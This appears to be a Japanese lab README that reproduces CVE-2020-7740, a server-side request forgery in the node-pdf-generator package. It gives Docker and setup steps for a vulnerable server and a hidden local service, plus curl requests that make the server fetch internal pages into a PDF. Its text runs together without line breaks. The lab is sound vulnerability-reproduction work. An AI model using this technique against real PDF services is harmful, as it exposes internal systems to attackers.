これは、node-pdf-generator パッケージのすべてのバージョンに影響します。node-pdf-generator に渡されるコンテンツに対するユーザー入力の検証とサニタイズが不足しているため、攻撃者は外部サーバーに渡されるURLを作成し、SSRF攻撃を可能にすることができます。
docker run -p 3000:3000 cve-2020-7740 でコンテナを実行しますlocalhost:3001 には直接アクセスできないことに注意してくださいcurl --location --request GET localhost:3000/test --data-raw http://localhost:3001 --output test.pdf で curl を使ってリクエストを送信しますtest.pdf を表示して、隠されているはずの localhost の Web サイトを確認しますgit clone {リンクが後で挿入されます} でプロジェクトをクローンしますhttps://wkhtmltopdf.org/ から依存関係をインストールしますnode .\NodePdfGeneratorServer でサーバーを起動します。サーバーは localhost:3000 で動作しますpython3 -m pip install -r requirements.txt で隠し Python サーバーの要件をインストールしますpython3 HiddenService で隠しサーバーを起動します。サーバーは localhost:3001 で動作しますcurl --location --request GET localhost:3000/test --data-raw http://www.google.com --output test.pdf を使って送信できますhttp://www.google.com の HTML ページのコピーが test.pdf ファイルに保存されます